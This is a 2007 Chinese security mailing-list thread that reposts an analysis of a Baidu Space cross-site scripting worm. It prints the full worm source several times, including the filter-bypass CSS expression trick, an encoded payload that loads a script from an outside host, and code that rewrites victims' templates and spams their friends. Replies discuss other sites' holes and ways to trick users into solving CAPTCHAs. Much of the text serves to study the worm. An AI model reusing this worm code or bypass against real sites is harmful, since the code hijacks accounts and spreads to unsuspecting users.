[zz]百度空间蠕虫分析ex/*exp/**/ression*/pression

2 views
Skip to first unread message

大风

unread,
Dec 27, 2007, 1:08:08 AM12/27/07
to ph4...@googlegroups.com

From:http://hi.baidu.com/ycosxhack/

 

声明在前:

此蠕虫源码迟早会曝光,也没隐藏的必要,得到消息称百度空间工程师正在修补中,我写完这篇文章是对其感染技术进行分析,估计等我写完文章时这样的漏洞利用方式就会失效(希望他们的效率高些)。

--------------------------------------------------------------------------------------------------------

天看到52abc的文章说百度空间蠕虫诞生。刚开始我一直不相信ex/* */pression()这样的变形expression还有效,可是分析蠕虫源码时发现原来是这样的 ex/*exp/**/ression*/pression。被感染的用户空间的CSS末被嵌入一段恶意代码,如下:

a{evilmask:ex/* */pression(execScript(unescape('d%3D%22doc%22%2B%22ument%22%3B%0D%0Ai%3D%22function%20load%28%29%7Bvar%20x%3D%22%2Bd%2B%22.createElement%28%27SCRIPT%27%29%3Bx.src%3D%27http%3A//www.18688.com/cache/1.js%27%3Bx.defer%3Dtrue%3B%22%2Bd%2B%22.getElementsByTagName%28%27HEAD%27%29%5B0%5D.appendChild%28x%29%7D%3Bfunction%20inject%28%29%7Bwindow.setTimeout%28%27load%28%29%27%2C1000%29%7D%3Bif%28window.x%21%3D1%29%7Bwindow.x%3D1%3Binject%28%29%7D%3B%22%0D%0AexecScript%28i%29')))}

用变形的expressionCSS代码中动态执行脚本,由于/* */这个符号是CSS的注释符,所以浏览器在解释这个CSS片段时会自动忽略,所以变形后的expression是有效的。接着利用execScript 函数(只在 IE中有效,并且可以动态执行远程js文件)来执行unescape解密出的代码。unescape解密出的代码如下:

d="doc"+"ument";
i="function load(){var x="+d+".createElement('SCRIPT');x.src='http://www.18688.com/cache/1.js';x.defer=true;"+d+".getElementsByTagName('HEAD')[0].appendChild(x)};function inject(){window.setTimeout('load()',1000)};if(window.x!=1){window.x=1;inject()};"
execScript(i)

此片段代码会在文档<head>标签内动态创建<script>标签,用来加载远程js文件:http://www.18688.com/cache/1.js。其中inject() 函数是为了防止expression对其内部代码的多次执行,不过似乎不完美。IE浏览器卡死的原因是后台在偷偷地大量发送蠕虫伪造的信息,格式为: evilmsg="哈,节日快乐呀!热烈庆祝2008,心情好好,记得要想我呀!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r \n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n"+myhibaidu;

接着分析http: //www.18688.com/cache/1.js文件发现漏洞产生的原因:expression变形为 ex/*exp/**/ression*/pression。百度空间的过滤机制将变形后的ex/*exp/**/ression*/pression exp/**/ression过滤为空格,于是还剩下exp/* */ression!道高一尺,魔高一丈。完整js代码如下,看注释分析:

window.onerror = killErrors;
//
下面这段乱码定义了VBScript函数URLEncoding,以正确编码数值。我曾经在《来看看AJAX本地如何获取远程数据》这篇文章中提到过bytes2BSTR函数,它们功能相似
///////////////////////////////////////////////////
//
解密出的效果如下:
//Function URLEncoding(vstrIn)
// strReturn = ""
// For aaaa = 1 To Len(vstrIn)
// ThisChr = Mid(vStrIn,aaaa,1)
// If Abs(Asc(ThisChr)) < &HFF Then
// strReturn = strReturn & ThisChr
// Else
// innerCode = Asc(ThisChr)
// If innerCode < 0 Then
// innerCode = innerCode + &H10000
// End If
// Hight8 = (innerCode And &HFF00)\ &HFF
// Low8 = innerCode And &HFF
// strReturn = strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8)
// End If
// Next
// URLEncoding = strReturn
//End Function
///////////////////////////////////////////////////
execScript(unescape('Function%20URLEncoding%28vstrIn%29%0A%20%20%20%20strReturn%20%3D%20%22%22%0A%20%20%20%20For%20aaaa%20%3D%201%20To%20Len%28vstrIn%29%0A%20%20%20%20%20%20%20%20ThisChr%20%3D%20Mid%28vStrIn%2Caaaa%2C1%29%0A%20%20%20%20%20%20%20%20If%20Abs%28Asc%28ThisChr%29%29%20%3C%20%26HFF%20Then%0A%20%20%20%20%20%20%20%20%20%20%20%20strReturn%20%3D%20strReturn%20%26%20ThisChr%0A%20%20%20%20%20%20%20%20Else%0A%20%20%20%20%20%20%20%20%20%20%20%20innerCode%20%3D%20Asc%28ThisChr%29%0A%20%20%20%20%20%20%20%20%20%20%20%20If%20innerCode%20%3C%200%20Then%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20innerCode%20%3D%20innerCode%20+%20%26H10000%0A%20%20%20%20%20%20%20%20%20%20%20%20End%20If%0A%20%20%20%20%20%20%20%20%20%20%20%20Hight8%20%3D%20%28innerCode%20%20And%20%26HFF00%29%5C%20%26HFF%0A%20%20%20%20%20%20%20%20%20%20%20%20Low8%20%3D%20innerCode%20And%20%26HFF%0A%20%20%20%20%20%20%20%20%20%20%20%20strReturn%20%3D%20strReturn%20%26%20%22%25%22%20%26%20Hex%28Hight8%29%20%26%20%20%22%25%22%20%26%20Hex%28Low8%29%0A%20%20%20%20%20%20%20%20End%20If%0A%20%20%20%20Next%0A%20%20%20%20URLEncoding%20%3D%20strReturn%0AEnd%20Function'),'VBScript');
cookie='';
cookieval=document.cookie;
spaceid=spaceurl;
myhibaidu="http://hi.baidu.com"+spaceid;
//
初始化XMLHttpRequest对象,AJAX要在这使用
xmlhttp=poster();
debug=0;

//
统计在线人数的函数,下面有定义
online();

if(spaceurl!=''){
if(spaceid!='/') {
if(debug==1) {
goteditcss();
document.cookie='xssshell/owned/you!';
}
//
如果用户本地cookie中不含xssshell标志,则执行goteditcss函数,下面有定义
if(cookieval.indexOf('xssshell')==-1) {
goteditcss();
document.cookie='xssshell/owned/you!';
}
}
}
//
此为百度空间蠕虫的核心功能函数
function makeevilcss(spaceid,editurl,use){
//
playload即为蠕虫广泛传播的CSS代码片段,其中expression变形为ex/*exp/**/ression*/pression
playload="a{evilmask:ex/*exp/**/ression*/pression(execScript(unescape('d%253D%2522doc%2522%252B%2522ument%2522%253B%250D%250Ai%253D%2522function%2520load%2528%2529%257Bvar%2520x%253D%2522%252Bd%252B%2522.createElement%2528%2527SCRIPT%2527%2529%253Bx.src%253D%2527http%253A//www.18688.com/cache/1.js%2527%253Bx.defer%253Dtrue%253B%2522%252Bd%252B%2522.getElementsByTagName%2528%2527HEAD%2527%2529%255B0%255D.appendChild%2528x%2529%257D%253Bfunction%2520inject%2528%2529%257Bwindow.setTimeout%2528%2527load%2528%2529%2527%252C1000%2529%257D%253Bif%2528window.x%2521%253D1%2529%257Bwindow.x%253D1%253Binject%2528%2529%257D%253B%2522%250D%250AexecScript%2528i%2529')))}";
//
下面是在模拟用户创建CSS模板的表单结构以及数据添加、提交过程
action=myhibaidu+"/commit";
spCssUse=use;
//AJAX
在后面偷偷地异步获取远程数据
s=getmydata(editurl);

re = /\<input type=\"hidden\" id=\"ct\" name=\"ct\" value=\"(.*?)\"/i;
ct = s.match(re);
ct=(ct[1]);

re = /\<input type=\"hidden\" id=\"cm\" name=\"cm\" value=\"(.*?)\"/i;
cm = s.match(re);
cm=(cm[1])/1+1;

re = /\<input type=\"hidden\" id=\"spCssID\" name=\"spCssID\" value=\"(.*?)\"/i;
spCssID = s.match(re);
spCssID=(spCssID[1]);

spRefUrl=editurl;

re = /\<textarea(.*?)\>([^\x00]*?)\<\/textarea\>/i;
spCssText = s.match(re);
spCssText=spCssText[2];
spCssText=URLEncoding(spCssText);

//
如果已经存在此邪恶的CSS片段,蠕虫则不再次感染
if(spCssText.indexOf('evilmask')!==-1) {
return 1;
}
//
否则……
else spCssText=spCssText+"\r\n\r\n"+playload;

re = /\<input name=\"spCssName\"(.*?)value=\"(.*?)\">/i;
spCssName = s.match(re);
spCssName=spCssName[2];

re = /\<input name=\"spCssTag\"(.*?)value=\"(.*?)\">/i;
spCssTag = s.match(re);
spCssTag=spCssTag[2];

postdata="ct="+ct+"&spCssUse=1"+"&spCssColorID=1"+"&spCssLayoutID=-1"+"&spRefURL="+URLEncoding(spRefUrl)+"&spRefURL="+URLEncoding(spRefUrl)+"&cm="+cm+"&spCssID="+spCssID+"&spCssText="+spCssText+"&spCssName="+URLEncoding(spCssName)+"&spCssTag="+URLEncoding(spCssTag);
//AJAX
在后台再次偷偷地将编辑好的CSS数据保存到百度空间服务器上
result=postmydata(action,postdata);
//
调用好友发送信息函数
sendfriendmsg();
//
统计感染用户总数
count();
//
成功
hack();
}

//
此函数初始化数据,调用核心功能函数makeevilcss
function goteditcss() {
src="http://hi.baidu.com"+spaceid+"/modify/spcrtempl/0";
s=getmydata(src);
re = /\<link rel=\"stylesheet\" type=\"text\/css\" href=\"(.*?)\/css\/item\/(.*?)\.css\">/i;
r = s.match(re);
nowuse=r[2];
makeevilcss(spaceid,"http://hi.baidu.com"+spaceid+"/modify/spcss/"+nowuse+".css/edit",1);
return 0;
}

//
创建XMLHttpRequest对象
function poster(){
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
return request;
}

//XMLHttpRequest
对象使用POST方式异步发送数据
function postmydata(action,data){
xmlhttp.open("POST", action, false);
xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlhttp.send(data);
return xmlhttp.responseText;
}

//XMLHttpRequest
对象使用GET方式异步发送数据
function getmydata(action){
xmlhttp.open("GET", action, false);
xmlhttp.send();
return xmlhttp.responseText;
}

function killErrors() {
return true;
}

//
统计感染用户总数
function count() {
a=new Image();
a.src='http://img.users.51.la/1563171.asp&#39;;
return 0;
}

//
统计感染用户在线总数
function online() {
online=new Image();
online.src='http://img.users.51.la/1563833.asp ';
return 0;
}

function hack() {
return 0;
}

//
好友发送信息函数,当你收到这样的消息那就要注意了
function sendfriendmsg(){
myfurl=myhibaidu+"/friends";
s=getmydata(myfurl);
evilmsg="
哈,节日快乐呀!热烈庆祝2008,心情好好,记得要想我呀!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n"+myhibaidu;

var D=function(A,B){A[A.length]=B;};
re = /(.+)D\(k\,\[([^\]]+?)\]\)(.*)/g;
friends = s.match(re);
eval(friends[0]);
for(i in k) {
eval('msgimg'+i+'=new Image();');
eval('msgimg'+i+'.src="http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn="+URLEncoding(k[i][2])+"&co="+URLEncoding(evilmsg)+"&vcodeinput=";');
}
}

单分析完了。这又是一只AJAX蠕虫。WEB2.0的各类安全威胁中AJAX首当其冲!由于AJAX会在后台无声无息地传递数据,很难被发现,这就为 AJAX蠕虫隐身传播带来了绝佳的便利!我刚刚也构造了漏洞利用代码,只是一个简单的alert框,没危害。我将漏洞利用转移到我这个测试博客上了:http://hi.baidu.com/coscmic。进去后,会弹出对话框。没事。

From:http://hi.baidu.com/ycosxhack/

 

[Ph4nt0m]

[Ph4nt0m Security Team]

                  @ph4nt0m

          Email:  ax...@ph4nt0m.org

          PingMe:

          === Ultimate Hacking ===

          === XPLOITZ ! ===

          === #_# ===

#If you brave,there is nothing you cannot achieve.#

 

 

image001.gif

Inking

unread,
Dec 26, 2007, 11:49:02 PM12/26/07
to ph4...@googlegroups.com
Inking:没想到两个注释符给绕过去了,的确没想到。其它的倒没有什么好看的,ajax蠕虫,千篇一律
 
 
 
 
 
作者:ycosxhack
来源:余弦函数


声明在前:
此蠕虫源码迟早会曝光,也没隐藏的必要,得到消息称百度空间工程师正在修补中,我写完这篇文章是对其感染技术进行分析,估计等我写完文章时这样的漏洞利用方式就会失效(希望他们的效率高些)。
--------------------------------------------------------------------------------------------------------
今天看到52abc的文章说百度空间蠕虫诞生。刚开始我一直不相信ex/* */pression()这样的变形expression还有效,可是分析蠕虫源码时发现原来是这样的ex/*exp/**/ression*/pression。被感染的用户空间的CSS末被嵌入一段恶意代码,如下:
利用变形的expression在CSS代码中动态执行脚本,由于/* */这个符号是CSS的注释符,所以浏览器在解释这个CSS片段时会自动忽略,所以变形后的expression是有效的。接着利用execScript函数(只在 IE中有效,并且可以动态执行远程js文件)来执行unescape解密出的代码。unescape解密出的代码如下:

d="doc"+"ument";
i="function load(){var x="+d+".createElement('SCRIPT');x.src=' http://www.18688.com/cache/1.js&#39;;x.defer=true;"+d+".getElementsByTagName('HEAD')[0].appendChild(x)};function inject()
{window.setTimeout('load()',1000)};if(window.x!=1){window.x=1 ;inject()};"
execScript(i)
此片段代码会在文档标签内动态创建标签,用来加载远程js文件:http://www.18688.com/cache/1.js。其中 inject()函数是为了防止expression对其内部代码的多次执行,不过似乎不完美。IE浏览器卡死的原因是后台在偷偷地大量发送蠕虫伪造的信息,格式为: evilmsg="哈,节日快乐呀!热烈庆祝2008,心情好好,记得要想我呀!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r \n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n"+myhibaidu;。
接着分析http://www.18688.com/cache/1.js文件发现漏洞产生的原因:expression变形为ex/*exp/**/ression*/pression 。百度空间的过滤机制将变形后的ex/*exp/**/ression*/pression中的exp/**/ression过滤为空格,于是还剩下exp/* */ression!道高一尺,魔高一丈。完整js代码如下,看注释分析:

window.onerror = killErrors;
//下面这段乱码定义了VBScript函数URLEncoding,以正确编码数值。我曾经在
《来看看AJAX本地如何获取远程数据》 这篇文章中提到过bytes2BSTR函数,它们功能相似
///////////////////////////////////////////////////
//解密出的效果如下:
//Function URLEncoding(vstrIn)
// strReturn = ""
// For aaaa = 1 To Len(vstrIn)
// ThisChr = Mid(vStrIn,aaaa,1)
// If Abs(Asc(ThisChr))

re = /\
re = /\
spRefUrl=editurl;
re = /\([^\x00]*?)\/i;

spCssText = s.match(re);
spCssText=spCssText[2];
spCssText=URLEncoding(spCssText);

//如果已经存在此邪恶的CSS片段,蠕虫则不再次感染
if(spCssText.indexOf('evilmask')!==-1) {
return 1;
}
//否则……
else spCssText=spCssText+"\r\n\r\n"+playload;
re = /\/i;

spCssName = s.match(re);
spCssName=spCssName[2];

re = /\/i;

spCssTag = s.match(re);
spCssTag=spCssTag[2];

postdata="ct="+ct+"&spCssUse=1"+"&spCssColorID=1"+"&spCssLayoutID=-1"+"&spRefURL="+URLEncoding(spRefUrl)+"&spRefURL="+URLEncoding(spRefUrl)+"&cm="+cm+"&spCssID="+spCssID+"&spCssText="+spCssText+"&spCssName="+URLEncoding(spCssName)+"&spCssTag="+URLEncoding(spCssTag);
//AJAX在后台再次偷偷地将编辑好的CSS数据保存到百度空间服务器上

result=postmydata(action,postdata);
//调用好友发送信息函数
sendfriendmsg();
//统计感染用户总数
count();
//成功
hack();
}
//此函数初始化数据,调用核心功能函数makeevilcss
function goteditcss() {
src=" http://hi.baidu.com"+spaceid+"/modify/spcrtempl/0
";
s=getmydata(src);
re = /\/i;

r = s.match(re);
nowuse=r[2];
makeevilcss(spaceid,"

//创建XMLHttpRequest对象
function poster(){
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject ) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', ' MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i
简单分析完了。这又是一只AJAX蠕虫。WEB2.0的各类安全威胁中AJAX首当其冲!由于AJAX会在后台无声无息地传递数据,很难被发现,这就为AJAX蠕虫隐身传播带来了绝佳的便利!我刚刚也构造了漏洞利用代码,只是一个简单的alert框,没危害。我将漏洞利用转移到我这个测试博客上了: http://hi.baidu.com/coscmic。进去后,会弹出对话框。没事。

axis

unread,
Dec 27, 2007, 1:25:24 AM12/27/07
to Ph4nt0m

开始没看到你的帖子,因为有特殊字符故被当垃圾帖子了,所以我又转了一次,现在发出来



On Dec 27, 12:49 pm, Inking <inkin...@gmail.com> wrote:
> Inking:没想到两个注释符给绕过去了,的确没想到。其它的倒没有什么好看的,ajax蠕虫,千篇一律
>
> 作者:ycosxhack
> 来源:余弦函数
>
> 声明在前:
> 此蠕虫源码迟早会曝光,也没隐藏的必要,得到消息称百度空间工程师正在修补中,我写完这篇文章是对其感染技术进行分析,估计等我写完文章时这样的漏洞利用方式就会失效(希望他们的效率高些)。
> --------------------------------------------------------------------------------------------------------
> 今天看到52abc的文章<http://hi.baidu.com/52abc/blog/item/edad0f333c0afbfc1b4cff44.html>说百度空间蠕虫诞生。刚开始我一直不相信ex/*
> */pression()这样的变形expression还有效,可是分析蠕虫源码时发现原来是这样的ex/*exp/**/ression*/pression。被感染的用户空间的CSS末被嵌入一段恶意代码,如下:
> a{evilmask:ex/*
> */pression(execScript(unescape('d%3D%22doc%22%2B%22ument%22%3B%0D%0Ai%3D%22function%20load%28%29%7Bvar%20x%3D%22%2Bd%2B%22.createElement%28%27SCRIPT%27%29%3Bx.src%3D%27http%3A//www.18688.com/cache/1.js%27%3Bx.defer%3Dtrue%3B%22%2Bd%2B%22.getEleme...)))}
> 利用变形的expression在CSS代码中动态执行脚本,由于/*
> */这个符号是CSS的注释符,所以浏览器在解释这个CSS片段时会自动忽略,所以变形后的expression是有效的。接着利用execScript函数(只在
> IE中有效,并且可以动态执行远程js文件)来执行unescape解密出的代码。unescape解密出的代码如下:
> d="doc"+"ument";
> i="function load(){var x="+d+".createElement('SCRIPT');x.src='http://www.18688.com/cache/1.js';x.defer=true;"+d+".getElementsByTagName('HEAD')[0].appendChild(x)};function
> inject(){window.setTimeout('load()',1000)};if(window.x!=1){window.x=1
> ;inject()};"
> execScript(i)
> 此片段代码会在文档标签内动态创建标签,用来加载远程js文件:http://www.18688.com/cache/1.js。其中inject()函数是为了防止expression对其内部代码的多次执行,不过似乎不完美。IE浏览器卡死的原因是后台在偷偷地大量发送蠕虫伪造的信息,格式为:
> evilmsg="哈,节日快乐呀!热烈庆祝2008,心情好好,记得要想我呀!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r
> \n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n"+myhibaidu;。
> 接着分析http://www.18688.com/cache/1.js文件发现漏洞产生的原因:
> expression变形为ex/*exp/**/ression*/pression。百度空间的过滤机制将变形后的ex/*exp/**/ression*/pression中的exp/**/ression过滤为空格,于是还剩下exp/*
> */ression!道高一尺,魔高一丈。完整js代码如下,看注释分析:
> window.onerror = killErrors;
> //下面这段乱码定义了VBScript函数URLEncoding,以正确编码数值。我曾经在《来看看AJAX本地如何获取远程数据》<http://hi.baidu.com/ycosxhack/blog/item/646f49311ef9461aeac4af39.html>
> 这篇文章中提到过bytes2BSTR函数,它们功能相似
> ///////////////////////////////////////////////////
> //解密出的效果如下:
> //Function URLEncoding(vstrIn)
> // strReturn = ""
> // For aaaa = 1 To Len(vstrIn)
> // ThisChr = Mid(vStrIn,aaaa,1)
> // If Abs(Asc(ThisChr))
> execScript(unescape('Function%20URLEncoding%28vstrIn%29%0A%20%20%20%20strReturn%20%3D%20%22%22%0A%20%20%20%20For%20aaaa%20%3D%201%20To%20Len%28vstrIn%29%0A%20%20%20%20%20%20%20%20ThisChr%20%3D%20Mid%28vStrIn%2Caaaa%2C1%29%0A%20%20%20%20%20%20%20%20If%20Abs%28Asc%28ThisChr%29%29%20%3C%20%26HFF%20Then%0A%20%20%20%20%20%20%20%20%20%20%20%20strReturn%20%3D%20strReturn%20%26%20ThisChr%0A%20%20%20%20%20%20%20%20Else%0A%20%20%20%20%20%20%20%20%20%20%20%20innerCode%20%3D%20Asc%28ThisChr%29%0A%20%20%20%20%20%20%20%20%20%20%20%20If%20innerCode%20%3C%200%20Then%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20innerCode%20%3D%20innerCode%20+%20%26H10000%0A%20%20%20%20%20%20%20%20%20%20%20%20End%20If%0A%20%20%20%20%20%20%20%20%20%20%20%20Hight8%20%3D%20%28innerCode%20%20And%20%26HFF00%29%5C%20%26HFF%0A%20%20%20%20%20%20%20%20%20%20%20%20Low8%20%3D%20innerCode%20And%20%26HFF%0A%20%20%20%20%20%20%20%20%20%20%20%20strReturn%20%3D%20strReturn%20%26%20%22%25%22%20%26%20Hex%28Hight8%29%20%26%20%20%22%25%22%20%26%20Hex%28Low8%29%0A%20%20%20%20%20%20%20%20End%20If%0A%20%20%20%20Next%0A%20%20%20%20URLEncoding%20%3D%20strReturn%0AEnd%20Function'),'VBScript');
> cookie='';
> cookieval=document.cookie;
> spaceid=spaceurl;
> myhibaidu="http://hi.baidu.com"+spaceid <http://hi.baidu.com%22+spaceid/>;//初始化XMLHttpRequest对象,AJAX要在这使用
> xmlhttp=poster();
> debug=0;
> //统计在线人数的函数,下面有定义
> online();
> if(spaceurl!=''){
> if(spaceid!='/') {
> if(debug==1) {
> goteditcss();
> document.cookie='xssshell/owned/you!';}
>
> //如果用户本地cookie中不含xssshell标志,则执行goteditcss函数,下面有定义
> if(cookieval.indexOf('xssshell')==-1) {
> goteditcss();
> document.cookie='xssshell/owned/you!';}
> }
> }
>
> //此为百度空间蠕虫的核心功能函数
> function makeevilcss(spaceid,editurl,use){
> //此playload即为蠕虫广泛传播的CSS代码片段,其中expression变形为ex/*exp/**/ression*/pression
> playload="a{evilmask:ex/*exp/**/ression*/pression(execScript(unescape('d%253D%2522doc%2522%252B%2522ument%2522%253B%250D%250Ai%253D%2522function%2520load%2528%2529%257Bvar%2520x%253D%2522%252Bd%252B%2522.createElement%2528%2527SCRIPT%2527%2529%253Bx.src%253D%2527http%253A//www.18688.com/cache/1.js%2527%253Bx.defer%253Dtrue%253B%2522%252Bd%25...)))}";
> //下面是在模拟用户创建CSS模板的表单结构以及数据添加、提交过程
> action=myhibaidu+"/commit";
> spCssUse=use;
> //AJAX在后面偷偷地异步获取远程数据
> s=getmydata(editurl);
> re = /\
> re = /\
> re = /\
> spRefUrl=editurl;
> re = /\([^\x00]*?)\/i;
> spCssText = s.match(re);
> spCssText=spCssText[2];
> spCssText=URLEncoding(spCssText);
> //如果已经存在此邪恶的CSS片段,蠕虫则不再次感染
> if(spCssText.indexOf('evilmask')!==-1) {
> return 1;}
>
> //否则......
> else spCssText=spCssText+"\r\n\r\n"+playload;
> re = /\/i;
> spCssName = s.match(re);
> spCssName=spCssName[2];
> re = /\/i;
> spCssTag = s.match(re);
> spCssTag=spCssTag[2];
> postdata="ct="+ct+"&spCssUse=1"+"&spCssColorID=1"+"&spCssLayoutID=-1"+"&spRefURL="+URLEncoding(spRefUrl)+"&spRefURL="+URLEncoding(spRefUrl)+"&cm="+cm+"&spCssID="+spCssID+"&spCssText="+spCssText+"&spCssName="+URLEncoding(spCssName)+"&spCssTag="+URLEncoding(spCssTag);
> //AJAX在后台再次偷偷地将编辑好的CSS数据保存到百度空间服务器上
> result=postmydata(action,postdata);
> //调用好友发送信息函数
> sendfriendmsg();
> //统计感染用户总数
> count();
> //成功
> hack();}
>
> //此函数初始化数据,调用核心功能函数makeevilcss
> function goteditcss() {
> src="http://hi.baidu.com"+spaceid+"/modify/spcrtempl/0<http://hi.baidu.com%22+spaceid+%22/modify/spcrtempl/0>
> ";
> s=getmydata(src);
> re = /\/i;
> r = s.match(re);
> nowuse=r[2];
> makeevilcss(spaceid,"http://hi.baidu.com"+spaceid+"/modify/spcss/"+nowuse+".css/edit",1<http://hi.baidu.com%22+spaceid+%22/modify/spcss/%22+nowuse+%22.css/ed...>
> );
> a.src='http://img.users.51.la/1563171.asp';
> return 0;}
>
> //统计感染用户在线总数
> function online() {
> online=new Image();
> online.src='http://img.users.51.la/1563833.asp';
> return 0;}
>
> function hack() {
> return 0;}
>
> //好友发送信息函数,当你收到这样的消息那就要注意了
> function sendfriendmsg(){
> myfurl=myhibaidu+"/friends";
> s=getmydata(myfurl);
> evilmsg="哈,节日快乐呀!热烈庆祝2008,心情好好,记得要想我呀!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n"+myhibaidu;
> var D=function(A,B){A[A.length]=B;};
> re = /(.+)D\(k\,\[([^\]]+?)\]\)(.*)/g;
> friends = s.match(re);
> eval(friends[0]);
> for(i in k) {
> eval('msgimg'+i+'=new Image();');
> eval('msgimg'+i+'.src="http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn="+URLEncoding(k[i][2])+"&co="+URLEncoding(evilmsg)+"&vcodeinput=";'<http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=%22+URLEncodin...>
> );}
> }
>
> 简单分析完了。这又是一只AJAX蠕虫。WEB2.0的各类安全威胁中AJAX首当其冲!
> 由于AJAX会在后台无声无息地传递数据,很难被发现,这就为AJAX蠕虫隐身传播带来了绝佳的便利!我刚刚也构造了漏洞利用代码,只是一个简单的alert框,没危害。 ...
>
> read more >>

Inking

unread,
Dec 27, 2007, 3:31:03 AM12/27/07
to ph4...@googlegroups.com
呵呵
现在百度空间针对恶意代码的过滤稍微不透明一些了,只要里面还有恶意代码直接提示你保存模板失败,这样对于测试它的过滤方式更加难了

raystyle

unread,
Dec 27, 2007, 3:44:51 AM12/27/07
to ph4...@googlegroups.com
已经是黑名单方式了,不再是替换为空了。

 
在07-12-27,Inking <inki...@gmail.com> 写道:
呵呵
现在百度空间针对恶意代码的过滤稍微不透明一些了,只要里面还有恶意代码直接提示你保存模板失败,这样对于测试它的过滤方式更加难了




GaRY

unread,
Dec 27, 2007, 4:32:07 AM12/27/07
to ph4...@googlegroups.com
各位再接再厉啊,哈哈

在07-12-27,raystyle <rays...@gmail.com> 写道:

恶魔傻蛋

unread,
Dec 27, 2007, 7:22:39 AM12/27/07
to ph4...@googlegroups.com
呵呵.最近狂跨站漏洞哇.和ajax蠕虫哇.呵呵~~
看了这篇文章后我又去研究了下校内,结果就给揪出跨站来了.额~~~
不过不想写蠕虫了.呵呵,没意思~

Inking

unread,
Dec 27, 2007, 7:38:54 AM12/27/07
to ph4...@googlegroups.com
恶魔傻蛋说到这里,我以前也发现校内涂鸦板里面的一个跨站漏洞,至今还是可以用,但是由于涂鸦板的提交页面需要验证码,不知道大虾们有没有办法对付这个的办法。
2008将是web蠕虫泛滥的一年嘿嘿

恶魔傻蛋

unread,
Dec 27, 2007, 8:27:55 AM12/27/07
to ph4...@googlegroups.com
呵呵..我发过一个校内蠕虫的代码(写的很烂)  http://www.emodd.com/xiaonei-xss-worm-by-devilfool/   这个的漏洞虽然补可,但是没补全,仍然可以利用.对于涂鸦板的那个跨站...可以自己重做一个欺骗的页面(让用户填验证码的),让别人手工填.目前我只能想到这样了.呵呵~

Inking

unread,
Dec 27, 2007, 10:39:52 PM12/27/07
to ph4...@googlegroups.com

呵呵,你写的这个早就拜读过了  ^_^

shanfu...@163.com

unread,
Dec 27, 2007, 10:46:32 PM12/27/07
to ph4...@googlegroups.com
好像国内的大网站基本都能找到跨站的漏洞
 
 
 

余弦

unread,
Dec 27, 2007, 10:56:54 PM12/27/07
to Ph4nt0m
好像。

On Dec 28, 11:46 am, shanfuyu1...@163.com wrote:
> 好像国内的大网站基本都能找到跨站的漏洞
Reply all
Reply to author
Forward
0 new messages